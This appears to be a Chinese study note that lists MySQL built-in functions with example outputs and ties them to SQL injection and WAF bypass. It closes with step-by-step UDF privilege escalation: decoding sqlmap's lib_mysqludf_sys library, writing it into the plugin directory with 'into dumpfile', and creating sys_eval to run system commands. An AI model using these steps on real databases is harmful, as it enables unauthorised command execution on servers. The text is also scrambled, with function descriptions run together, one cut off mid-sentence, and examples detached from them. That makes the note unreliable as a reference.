参考学 习: > https://www.runoob.com/mysql/mysql-functions.html
应用的场景包括:通过注入获取数据、变换字符串绕过 WAF、盲注猜解字符数据等
1.ASCII(s)
返回字符串 s 的第一个字符的 ASCII 码
SELECT ASCII('MySQL') AS NumCodeOfFirstChar;
+--------------------+
| NumCodeOfFirstChar |
+--------------------+
| 77 |
+--------------------+
2.CHAR_LENGTH(s)
返回字符串 s 的字符数
SELECT CHAR_LENGTH("MySQL") AS LengthOfString;
+----------------+
| LengthOfString |
+----------------+
| 5 |
+----------------+
3.CONCAT(s1,s2…sn)
字符串 s1,s2 等多个字符串合并为一个字符串
SELECT CONCAT ('I',' ','am',' ','learning',' ','MySQL','.') AS ConcatenatedString;
+----------------------+
| ConcatenatedString |
+----------------------+
| I am learning MySQL. |
+----------------------+
4.FIELD(s,s1,s2…)
返回第一个字符串 s 在字符串列表(s1,s2…)中的位置
SELECT FIELD("c", "a", "b", "c", "d", "e");
+-------------------------------------+
| FIELD("c", "a", "b", "c", "d", "e") |
+-------------------------------------+
| 3 |
+-------------------------------------+
5.FIND_IN_SET(s1,s2)
返回在字符串s2中与s1匹配的字符串的位置
SELECT FIND_IN_SET('c','a,b,c,d,e');
+------------------------------+
| FIND_IN_SET('c','a,b,c,d,e') |
+------------------------------+
| 3 |
+------------------------------+
6.FORMAT(x,n)
函数可以将数字 x 进行格式化 “#,###.##”, 将 x 保留到小数点后 n 位,最后一位四舍五入。
SELECT FORMAT(3.1415926535,4);
+------------------------+
| FORMAT(3.1415926535,4) |
+------------------------+
| 3.1416 |
+------------------------+
7.INSERT(s1,x,len,s2)
字符串 s2 替换 s1 的 x 位置开始长度为 len 的字符串
SELECT INSERT('MySQL',1,2,'Your');
+----------------------------+
| INSERT('MySQL',1,2,'Your') |
+----------------------------+
| YourSQL |
+----------------------------+
8.LOCATE(s1,s)
从字符串 s 中获取 s1 的开始位置
SELECT LOCATE('SQL','MySQL');
+-----------------------+
| LOCATE('SQL','MySQL') |
+-----------------------+
| 3 |
+-----------------------+
9.LOWER(s)|LCASE(s)
将字符串 s 的所有字母变成小写字母
SELECT LOWER('MYSQL');
+----------------+
| LOWER('MYSQL') |
+----------------+
| mysql |
+----------------+
SELECT LCASE('MYSQL');
+----------------+
| LCASE('MYSQL') |
+----------------+
| mysql |
+----------------+
10.UPPER(s)|UCASE(s)
将字符串 s 的所有字母变成大写字母
SELECT UPPER('mysql');
+----------------+
| UPPER('mysql') |
+----------------+
| MYSQL |
+----------------+
SELECT UCASE('mysql');
+----------------+
| UCASE('mysql') |
+----------------+
| MYSQL |
+----------------+
11.LEFT(s,n)
返回字符串 s 的前 n 个字符
SELECT LEFT('MySQL',2);
+-----------------+
| LEFT('MySQL',2) |
+-----------------+
| My |
+-----------------+
12.RIGHT(s,n)
返回字符串 s 的后 n 个字符
SELECT RIGHT('MySQL',3);
+------------------+
| RIGHT('MySQL',3) |
+------------------+
| SQL |
+------------------+
13.LPAD(s1,len,s2)
在字符串 s1 的开始处填充字符串 s2,使字符串长度达到 len
SELECT LPAD('SQL',7,'My');
+--------------------+
| LPAD('SQL',7,'My') |
+--------------------+
| MyMySQL |
+--------------------+
14.RPAD(s1,len,s2)
在字符串 s1 的结尾处添加字符串 s2,使字符串的长度达到 len
SELECT RPAD ('My',8,'SQL');
+---------------------+
| RPAD ('My',8,'SQL') |
+---------------------+
| MySQLSQL |
+---------------------+
15.LTRIM(s)
去掉字符串 s 开始处的空格
SELECT LTRIM(' MySQL') AS LeftTrimmedString;
+-------------------+
| LeftTrimmedString |
+-------------------+
| MySQL |
+-------------------+
16.RTRIM(s)
去掉字符串 s 结尾处的空格
SELECT RTRIM ('MySQL ');
+-----------------------+
| RTRIM ('MySQL ') |
+-----------------------+
| MySQL |
+-----------------------+
17.TRIM(s)
去掉字符串 s 开始和结尾处的空格
SELECT TRIM(' MySQL ') AS TrimmedString;
+---------------+
| TrimmedString |
+---------------+
| MySQL |
+---------------+
18.MID(s,n,len)|SUBSTR(s, n, len)|SUBSTRING(s, n, len)
从字符串 s 的 n 位置截取长度为 len 的子字符串
SELECT MID('MySQL',3,3) AS ExtractString;
+---------------+
| ExtractString |
+---------------+
| SQL |
+---------------+
19.REPEAT(s,n)
将字符串 s 重复 n 次
SELECT REPEAT('MySQL',3);
+-------------------+
| REPEAT('MySQL',3) |
+-------------------+
| MySQLMySQLMySQL |
+-------------------+
20.REPLACE(s,s1,s2)
将字符串 s2 替代字符串 s 中的字符串 s1
SELECT REPLACE ('MySQL','My','Your');
+-------------------------------+
| REPLACE ('MySQL','My','Your') |
+-------------------------------+
| YourSQL |
+-------------------------------+
21.REVERSE(s)
将字符串s的顺序反过来
SELECT REVERSE ('MySQL');
+-------------------+
| REVERSE ('MySQL') |
+-------------------+
| LQSyM |
+-------------------+
22.SPACE (s)
返回n个空格
SELECT SPACE (10);
+------------+
| SPACE (10) |
+------------+
| |
+------------+
23.STRCMP(s1,s2)
比较字符串 s1 和 s2,如果 s1 与 s2 相等返回 0 ,如果 s1>s2 返回 1,如果 s1 24.SUBSTRING_INDEX(s, delimiter, number) 返回从字符串 s 的第 number 个出现的分隔符 delimiter 之后的子串。 1.ABS(x) 返回 x 的绝对值 2.AVG(expression) 返回一个表达式的平均值,expression 是一个字段 3.三角函数(参数x是弧度) SIN(x) | COS(x) | TAN(x) | COT(x) | ASIN(x) | ACOS(x) | ATAN(x) 4.DEGREES(x) 将弧度转换为角度 5.CEIL(x) 返回大于或等于 x 的最小整数 6.FLOOR(x) 返回小于或等于 x 的最大整数 7.COUNT(expression) 返回查询的记录总数,expression 参数是一个字段或者 * 号 8.n DIV m 整除,n 为被除数,m 为除数 9.MOD(x,y) 返回 x 除以 y 以后的余数 10.EXP(x) 返回 e 的 x 次方 11.GREATEST(expr1, expr2, expr3, …) 返回列表中的最大值 12.LEAST(expr1, expr2, expr3, …) 返回列表中的最小值 13.MAX(expression) 返回字段 expression 中的最大值 14.MIN(expression) 返回字段 expression 中的最小值 15.对数计算 LOG(x) 返回数字的自然对数,以 e 为底。 LOG(n, x) 返回以n为底,数字x的对数。 LOG2(x) 返回以 2 为底的对数。 LOG10(x) 返回以 10 为底的对数。 16.PI() 返回圆周率(3.141593) 17.POW(x,y) | POWER(x,y) 返回 x 的 y 次方 18.RADIANS(x) 将角度转换为弧度 19.RAND() 返回 0 到 1 的随机数 20.ROUND(x) 返回离 x 最近的整数 21.SIGN(x) 返回 x 的符号,x 是负数、0、正数分别返回 -1、0 和 1 22.SQRT(x) 返回x的平方根 23.SUM(expression) 返回指定字段的总和 24.TRUNCATE(x,y) 返回数值 x 保留到小数点后 y 位的值(与 ROUND 最大的区别是不会进行四舍五入) 1.ADDDATE(d,n) 计算起始日期 d 加上 n 天的日期 2.ADDTIME(t,n) n 是一个时间表达式,时间 t 加上时间表达式 n 3.DATE_ADD(d,INTERVAL expr type) 计算起始日期 d 加上一个时间段后的日期 4.当前日期时间 CURDATE() | CURRENT_DATE() 返回当前日期 CURTIME() | CURRENT_TIME 返回当前时间 NOW() | CURRENT_TIMESTAMP() | LOCALTIME() |LOCALTIMESTAMP() | SYSDATE() 返回当前日期和时间 5.DATE(t) | HOUR(t) | MINUTE(t) |SECOND(t) 从日期或日期时间表达式中提取日期值|小时值|分钟值|秒钟值 6.DATEDIFF(d1,d2) 计算日期 d1->d2 之间相隔的天数 7.DATE_FORMAT(d,f) 按表达式 f的要求显示日期 d 8.DATE_SUB(date,INTERVAL expr type) 函数从日期减去指定的时间间隔。 9.DAY(d) 返回日期值 d 的日期部分 10.DAYNAME(d) 返回日期 d 是星期几,如 Monday,Tuesday 11.DAYOFYEAR(d) 计算日期 d 是本年的第几天 12.EXTRACT(type FROM d) 从日期 d 中获取指定的值,type 指定返回的值。 13.FROM_DAYS(n) 计算从 0000 年 1 月 1 日开始 n 天后的日期 14.TO_DAYS(d) 计算日期 d 距离 0000 年 1 月 1 日的天数 15.LAST_DAY(d) 返回给定日期的那一月份的最后一天 16.MAKEDATE(year, day-of-year) 基于给定参数年份 year 和所在年中的天数序号 day-of-year 返回一个日期 17.MAKETIME(hour, minute, second) 组合时间,参数分别为小时、分钟、秒 18.MONTHNAME(d) 返回日期当中的月份名称,如 November 19.PERIOD_ADD(period, number) 为 年-月 组合日期添加一个时段 20.PERIOD_DIFF(period1, period2) 返回两个时段之间的月份差值 21.TIMEDIFF(time1, time2) 计算时间差值 22.QUARTER(d) 返回日期d是第几季节,返回 1 到 4 23.SEC_TO_TIME(s) 将以秒为单位的时间 s 转换为时分秒的格式 24.TIME_TO_SEC(t) 将时间 t 转换为秒 25.STR_TO_DATE(string, format_mask) 将字符串转变为日期 26.SUBDATE(d,n) 日期 d 减去 n 天后的日期 27.SUBTIME(t,n) 时间 t 减去 n 秒的时间 28.TIME(expression) 提取传入表达式的时间部分 29.TIME_FORMAT(t,f) 按表达式 f 的要求显示时间 t 30.WEEK(d) 计算日期 d 是本年的第几个星期,范围是 0 到 53 1.BIN(x) | OCT(x) | HEX(x) 返回 x 的二进制编码|八进制编码|十六进制编码 2.BINARY(s) 将字符串 s 转换为二进制字符串 3.条件判断函数 CASE 表示函数开始,END 表示函数结束。如果 condition1 成立,则返回 result1, 如果 condition2 成立,则返回 result2,当全部不成立则返回 result,而当有一个成立之后,后面的就不执行了。 4.CAST(x AS type) 转换数据类型 5.COALESCE(expr1, expr2, …, expr_n) 返回参数中的第一个非空表达式(从左向右) 6.CONNECTION_ID() 返回唯一的连接 ID 7.CONV(x,f1,f2) 返回 f1 进制数变成 f2 进制数 8.CONVERT(s USING cs) 函数将字符串 s 的字符集变成 cs 9.USER() |CURRENT_USER() |SESSION_USER() |SYSTEM_USER() 返回当前用户 10.DATABASE() 返回当前数据库名 11.IF(expr,v1,v2) 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2 12.IFNULL(v1,v2) 如果 v1 的值不为 NULL,则返回 v1,否则返回 v2。 13.ISNULL(expression) 判断表达式是否为 NULL 14.LAST_INSERT_ID() 返回最近生成的 AUTO_INCREMENT 值 15.NULLIF(expr1, expr2) 比较两个字符串,如果字符串 expr1 与 expr2 相等 返回 NULL,否则返回 expr1 16.VERSION() 查看MySQL版本 返回数据库的版本号 17.MD5() 加密函数 18.IP地址与数字相互转换的函数 IP地址转换为数字表示 将数字n转换成IP形式 19.加锁函数和解锁函数 我们经常在注入时候想要利用数据库来执行系统命令,不同的数据库可能使用不同的方式,比如 Mysql 的 udf 、 Mssql 的 xp_cmdshell 等,这个在利用注入提权的时候非常有帮助,通过数据库执 行系统命令所拥有的权限跟数据库的安装过程是有关系的,所以搞清楚这个关系也很重要,这样我们在 安装配置数据库的时候可以尽量避免权限过高,造成安全隐患。 1)UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用 2)原理:UDF提权是利用MySQL的自定义函数功能,构造特定的DLL将Mysql账号转化为系统system权限 3)条件 查看 对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可 查看系统架构 Windows下是.dll文件;linux下是.so文件 在 sqlmap\data\udf\mysql\windows|linux\64|32目录下存放着lib_mysqludf_sys.dll__|.so_ 但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用,可以利用sqlmap 自带的解码工具cloak.py解码后,再直接利用。 进入到 sqlmap\extra\cloak 目录下,执行命令: 然后会生成一个lib_mysqludf_sys.so文件 1)将udf文件放到指定位置 得到插件库路径 得到udf文件的十六进制格式,可在本地通过 写入插件库 2)从udf文件中引入自定义函数 查看下这个udf库所支持的函数 创建函数 3)执行自定义函数 参考链接: MySQL 常用内置函数与所有内置函数 MySQL常用内置函数 udf提权原理详解 Linux利用UDF库实现Mysql提权 MySQL UDF提权执行系统命令 Mysql——udf提权SELECT STRCMP ('MySQL','MySQL');
+--------------------------+
| STRCMP ('MySQL','MySQL') |
+--------------------------+
| 0 |
+--------------------------+
如果 number 是正数,返回第 number 个字符左边的字符串。
如果 number 是负数,返回第(number 的绝对值(从右边数))个字符右边的字符串。SELECT SUBSTRING_INDEX('M*y*S*Q*L','*',2);
+------------------------------------+
| SUBSTRING_INDEX('M*y*S*Q*L','*',2) |
+------------------------------------+
| M*y |
+------------------------------------+
SELECT SUBSTRING_INDEX('M*y*S*Q*L','*',-3);
+-------------------------------------+
| SUBSTRING_INDEX('M*y*S*Q*L','*',-3) |
+-------------------------------------+
| S*Q*L |
+-------------------------------------+
SELECT SUBSTRING_INDEX(SUBSTRING_INDEX('M*y*S*Q*L','*',-3),'*',2);
+------------------------------------------------------------+
| SUBSTRING_INDEX(SUBSTRING_INDEX('M*y*S*Q*L','*',-3),'*',2) |
+------------------------------------------------------------+
| S*Q |
+------------------------------------------------------------+
MySQL 数字函数
SELECT ABS(-1);
+---------+
| ABS(-1) |
+---------+
| 1 |
+---------+
SELECT AVG(Price) AS AveragePrice FROM Products;
+--------------+
| AveragePrice |
+--------------+
| 456.0000 |
+--------------+
SELECT DEGREES(3.1415926535898) ;
+--------------------------+
| DEGREES(3.1415926535898) |
+--------------------------+
| 180.0000000000004 |
+--------------------------+
SELECT CEIL (0.1);
+------------+
| CEIL (0.1) |
+------------+
| 1 |
+------------+
SELECT FLOOR(-0.1);
+-------------+
| FLOOR(-0.1) |
+-------------+
| -1 |
+-------------+
SELECT COUNT(User) AS User_number FROM user;
+-------------+
| User_number |
+-------------+
| 6 |
+-------------+
SELECT 10 DIV 5;
+----------+
| 10 DIV 5 |
+----------+
| 2 |
+----------+
SELECT MOD(5,2);
+----------+
| MOD(5,2) |
+----------+
| 1 |
+----------+
SELECT EXP(3) ;
+--------------------+
| EXP(3) |
+--------------------+
| 20.085536923187668 |
+--------------------+
SELECT GREATEST(3, 12, 34, 8, 25);
+----------------------------+
| GREATEST(3, 12, 34, 8, 25) |
+----------------------------+
| 34 |
+----------------------------+
SELECT GREATEST('MySQL','Oracle','MariaDB');
+--------------------------------------+
| GREATEST('MySQL','Oracle','MariaDB') |
+--------------------------------------+
| Oracle |
+--------------------------------------+
SELECT LEAST(3, 12, 34, 8, 25);
+-------------------------+
| LEAST(3, 12, 34, 8, 25) |
+-------------------------+
| 3 |
+-------------------------+
SELECT MAX(Price) AS LargestPrice FROM Products;
+--------------+
| LargestPrice |
+--------------+
| 789 |
+--------------+
SELECT MIN(Price) AS MinPrice FROM Products;
+----------+
| MinPrice |
+----------+
| 123 |
+----------+
SELECT POW (2,3);
+-----------+
| POW (2,3) |
+-----------+
| 8 |
+-----------+
SELECT POWER(2,3);
+------------+
| POWER(2,3) |
+------------+
| 8 |
+------------+
SELECT RADIANS(180);
+-------------------+
| RADIANS(180) |
+-------------------+
| 3.141592653589793 |
+-------------------+
SELECT RAND();
+--------------------+
| RAND() |
+--------------------+
| 0.8029554586885083 |
+--------------------+
SELECT ROUND(1.49999999999);
+----------------------+
| ROUND(1.49999999999) |
+----------------------+
| 1 |
+----------------------+
SELECT ROUND(1.5);
+------------+
| ROUND(1.5) |
+------------+
| 2 |
+------------+
SELECT SIGN(-1);
+----------+
| SIGN(-1) |
+----------+
| -1 |
+----------+
SELECT SQRT(4);
+---------+
| SQRT(4) |
+---------+
| 2 |
+---------+
SELECT SUM(Price) FROM Products;
+------------+
| SUM(Price) |
+------------+
| 1368 |
+------------+
SELECT TRUNCATE(1.23456,3);
+---------------------+
| TRUNCATE(1.23456,3) |
+---------------------+
| 1.234 |
+---------------------+
MySQL 日期函数
SELECT ADDDATE('2020-2-1',30);
+------------------------+
| ADDDATE('2020-2-1',30) |
+------------------------+
| 2020-03-02 |
+------------------------+
SELECT ADDTIME('2020-11-10 20:00:00','4:0:0');
+----------------------------------------+
| ADDTIME('2020-11-10 20:00:00','4:0:0') |
+----------------------------------------+
| 2020-11-11 00:00:00 |
+----------------------------------------+
SELECT DATE_ADD('2020-11-11 11:11:11' ,INTERVAL 5 MINUTE);
+----------------------------------------------------+
| DATE_ADD('2020-11-11 11:11:11' ,INTERVAL 5 MINUTE) |
+----------------------------------------------------+
| 2020-11-11 11:16:11 |
+----------------------------------------------------+
SELECT DATE('2020-11-11 0:0:0');
+--------------------------+
| DATE('2020-11-11 0:0:0') |
+--------------------------+
| 2020-11-11 |
+--------------------------+
SELECT DATEDIFF('2020-11-22','2021-6-7');
+-----------------------------------+
| DATEDIFF('2020-11-22','2021-6-7') |
+-----------------------------------+
| -197 |
+-----------------------------------+
SELECT DATE_FORMAT('2011-11-11 11:11:11','%Y-%m-%d %r');
+--------------------------------------------------+
| DATE_FORMAT('2011-11-11 11:11:11','%Y-%m-%d %r') |
+--------------------------------------------------+
| 2011-11-11 11:11:11 AM |
+--------------------------------------------------+
select * from Orders;
+---------+------------+
| OrderId | OrderDate |
+---------+------------+
| 1 | 2020-11-11 |
+---------+------------+
SELECT OrderId,DATE_SUB(OrderDate,INTERVAL 2 DAY) AS OrderPayDate FROM Orders;
+---------+--------------+
| OrderId | OrderPayDate |
+---------+--------------+
| 1 | 2020-11-09 |
+---------+--------------+
SELECT DAY('2020-11-11') AS day;
+------+
| day |
+------+
| 11 |
+------+
SELECT DAYNAME('2020-11-11');
+-----------------------+
| DAYNAME('2020-11-11') |
+-----------------------+
| Wednesday |
+-----------------------+
SELECT DAYOFYEAR ('2020-11-11');
+--------------------------+
| DAYOFYEAR ('2020-11-11') |
+--------------------------+
| 316 |
+--------------------------+
type可取值为:
SELECT EXTRACT(MINUTE FROM '2020-11-11 11:11:11');
+--------------------------------------------+
| EXTRACT(MINUTE FROM '2020-11-11 11:11:11') |
+--------------------------------------------+
| 11 |
+--------------------------------------------+
SELECT FROM_DAYS(9999);
+-----------------+
| FROM_DAYS(9999) |
+-----------------+
| 0027-05-18 |
+-----------------+
SELECT TO_DAYS('0027-05-18');
+-----------------------+
| TO_DAYS('0027-05-18') |
+-----------------------+
| 9999 |
+-----------------------+
SELECT LAST_DAY('2020-2-1');
+----------------------+
| LAST_DAY('2020-2-1') |
+----------------------+
| 2020-02-29 |
+----------------------+
SELECT MAKEDATE(2020,300);
+--------------------+
| MAKEDATE(2020,300) |
+--------------------+
| 2020-10-26 |
+--------------------+
SELECT MAKETIME(1,2,3);
+-----------------+
| MAKETIME(1,2,3) |
+-----------------+
| 01:02:03 |
+-----------------+
SELECT MONTHNAME('2020-11-11');
+-------------------------+
| MONTHNAME('2020-11-11') |
+-------------------------+
| November |
+-------------------------+
SELECT PERIOD_ADD(202011,7);
+----------------------+
| PERIOD_ADD(202011,7) |
+----------------------+
| 202106 |
+----------------------+
SELECT PERIOD_DIFF(202011,202109);
+----------------------------+
| PERIOD_DIFF(202011,202109) |
+----------------------------+
| -10 |
+----------------------------+
SELECT TIMEDIFF('1:2:3','4:5:6');
+---------------------------+
| TIMEDIFF('1:2:3','4:5:6') |
+---------------------------+
| -03:03:03 |
+---------------------------+
SELECT QUARTER('2020-11-11');
+-----------------------+
| QUARTER('2020-11-11') |
+-----------------------+
| 4 |
+-----------------------+
SELECT SEC_TO_TIME(9999);
+-------------------+
| SEC_TO_TIME(9999) |
+-------------------+
| 02:46:39 |
+-------------------+
SELECT TIME_TO_SEC('02:46:39');
+-------------------------+
| TIME_TO_SEC('02:46:39') |
+-------------------------+
| 9999 |
+-------------------------+
SELECT STR_TO_DATE('November 11 2020', '%M %d %Y');
+---------------------------------------------+
| STR_TO_DATE('November 11 2020', '%M %d %Y') |
+---------------------------------------------+
| 2020-11-11 |
+---------------------------------------------+
SELECT SUBDATE('2020-11-11 11:11:11', 366);
+-------------------------------------+
| SUBDATE('2020-11-11 11:11:11', 366) |
+-------------------------------------+
| 2019-11-11 11:11:11 |
+-------------------------------------+
SELECT SUBTIME('2020-11-11 11:11:11', 11);
+------------------------------------+
| SUBTIME('2020-11-11 11:11:11', 11) |
+------------------------------------+
| 2020-11-11 11:11:00 |
+------------------------------------+
SELECT TIME('2020-11-11 19:30:00');
+-----------------------------+
| TIME('2020-11-11 19:30:00') |
+-----------------------------+
| 19:30:00 |
+-----------------------------+
SELECT TIME_FORMAT('11:11:11','%r');
+------------------------------+
| TIME_FORMAT('11:11:11','%r') |
+------------------------------+
| 11:11:11 AM |
+------------------------------+
SELECT WEEK('2020-11-11 11:11:11');
+-----------------------------+
| WEEK('2020-11-11 11:11:11') |
+-----------------------------+
| 45 |
+-----------------------------+
MySQL 高级函数
SELECT BIN(10);
+---------+
| BIN(10) |
+---------+
| 1010 |
+---------+
SELECT BINARY 'MySQL';
+--------------------------------+
| BINARY 'MySQL' |
+--------------------------------+
| 0x4D7953514C |
+--------------------------------+
CASE expression
WHEN condition1 THEN result1
WHEN condition2 THEN result2
...
WHEN conditionN THEN resultN
ELSE result
END
SELECT CASE
-> WHEN '1 > 0' THEN '1 > 0'
-> WHEN '2 > 0' THEN '2 > 0'
-> ELSE '3 > 0'
-> END;
+----------------------------------------------------------------------------+
| CASE
WHEN '1 > 0' THEN '1 > 0'
WHEN '2 > 0' THEN '2 > 0'
ELSE '3 > 0'
END |
+----------------------------------------------------------------------------+
| 1 > 0 |
+----------------------------------------------------------------------------+
SELECT CAST("2020-11-11" AS DATE);
+----------------------------+
| CAST("2020-11-11" AS DATE) |
+----------------------------+
| 2020-11-11 |
+----------------------------+
SELECT COALESCE(NULL,NULL,'MySQL',NULL,'Oracle',NULL);
+------------------------------------------------+
| COALESCE(NULL,NULL,'MySQL',NULL,'Oracle',NULL) |
+------------------------------------------------+
| MySQL |
+------------------------------------------------+
SELECT CONNECTION_ID();
+-----------------+
| CONNECTION_ID() |
+-----------------+
| 11 |
+-----------------+
SELECT CONV(10,10,2);
+---------------+
| CONV(10,10,2) |
+---------------+
| 1010 |
+---------------+
SELECT CHARSET('ABC');
+----------------+
| CHARSET('ABC') |
+----------------+
| utf8mb4 |
+----------------+
SELECT CHARSET(CONVERT('ABC' USING gbk));
+-----------------------------------+
| CHARSET(CONVERT('ABC' USING gbk)) |
+-----------------------------------+
| gbk |
+-----------------------------------+
SELECT CURRENT_USER();
+----------------+
| CURRENT_USER() |
+----------------+
| root@% |
+----------------+
SELECT DATABASE();
+------------+
| DATABASE() |
+------------+
| mysql |
+------------+
SELECT IF(1 > 0,'正确','错误');
+-----------------------------+
| IF(1 > 0,'正确','错误') |
+-----------------------------+
| 正确 |
+-----------------------------+
SELECT IFNULL(null,'Hello Word');
+---------------------------+
| IFNULL(null,'Hello Word') |
+---------------------------+
| Hello Word |
+---------------------------+
SELECT ISNULL(NULL);
+--------------+
| ISNULL(NULL) |
+--------------+
| 1 |
+--------------+
SELECT LAST_INSERT_ID();
+------------------+
| LAST_INSERT_ID() |
+------------------+
| 0 |
+------------------+
SELECT NULLIF(25, 25);
+----------------+
| NULLIF(25, 25) |
+----------------+
| NULL |
+----------------+
SELECT VERSION();
+-------------------------+
| VERSION() |
+-------------------------+
| 8.0.22-0ubuntu0.20.04.2 |
+-------------------------+
SELECT MD5('123456');
+----------------------------------+
| MD5('123456') |
+----------------------------------+
| e10adc3949ba59abbe56e057f20f883e |
+----------------------------------+
SELECT INET_ATON('192.168.0.1');
+--------------------------+
| INET_ATON('192.168.0.1') |
+--------------------------+
| 3232235521 |
+--------------------------+
SELECT INET_NTOA(3232235521);
+-----------------------+
| INET_NTOA(3232235521) |
+-----------------------+
| 192.168.0.1 |
+-----------------------+
SELECT GET_LOCK('MySQL',10);
+----------------------+
| GET_LOCK('MySQL',10) |
+----------------------+
| 1 |
+----------------------+
SELECT IS_FREE_LOCK('MySQL');
+-----------------------+
| IS_FREE_LOCK('MySQL') |
+-----------------------+
| 0 |
+-----------------------+
SELECT RELEASE_LOCK('MySQL');
+-----------------------+
| RELEASE_LOCK('MySQL') |
+-----------------------+
| 1 |
+-----------------------+
二、MySQL UDF提权执行系统命令
1.udf提权
secure_file_priv
的值 show global variables like 'secure%';
当secure_file_priv的值为NULL或/tmp/时,此时无法提权
当secure_file_priv的值没有具体值时,则可以提权
2.udf文件
show variables like '%compile%'; 查看主机版本及架构
python clock.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
3.使用udf
show variables like "%plugin%";
select hex(load_file('/usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';
select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
root@linux:~# nm -D /usr/lib/mysql/plugin/lib_mysqludf_sys.so
w _Jv_RegisterClasses
0000000000201788 A __bss_start
w __cxa_finalize
w __gmon_start__
0000000000201788 A _edata
0000000000201798 A _end
0000000000001178 T _fini
0000000000000ba0 T _init
U fgets
U fork
U free
U getenv
000000000000101a T lib_mysqludf_sys_info
0000000000000da4 T lib_mysqludf_sys_info_deinit
0000000000001047 T lib_mysqludf_sys_info_init
U malloc
U mmap
U pclose
U popen
U realloc
U setenv
U strcpy
U strncpy
0000000000000dac T sys_bineval
0000000000000dab T sys_bineval_deinit
0000000000000da8 T sys_bineval_init
0000000000000e46 T sys_eval
0000000000000da7 T sys_eval_deinit
0000000000000f2e T sys_eval_init
0000000000001066 T sys_exec
0000000000000da6 T sys_exec_deinit
0000000000000f57 T sys_exec_init
00000000000010f7 T sys_get
0000000000000da5 T sys_get_deinit
0000000000000fea T sys_get_init
000000000000107a T sys_set
00000000000010e8 T sys_set_deinit
0000000000000f80 T sys_set_init
U sysconf
U system
U waitpid
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.14 sec)
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql |
+--------------------+
1 row in set (0.04 sec)
mysql> select * from mysql.func;
+----------+-----+-------------+----------+
| name | ret | dl | type |
+----------+-----+-------------+----------+
| sys_eval | 0 | lib_mysqludf_sys.so | function |
+----------+-----+-------------+----------+
1 row in set
mysql> drop function sys_eval;
Query OK, 0 rows affected (0.00 sec)
mysql> select * from func;
Empty set (0.00 sec)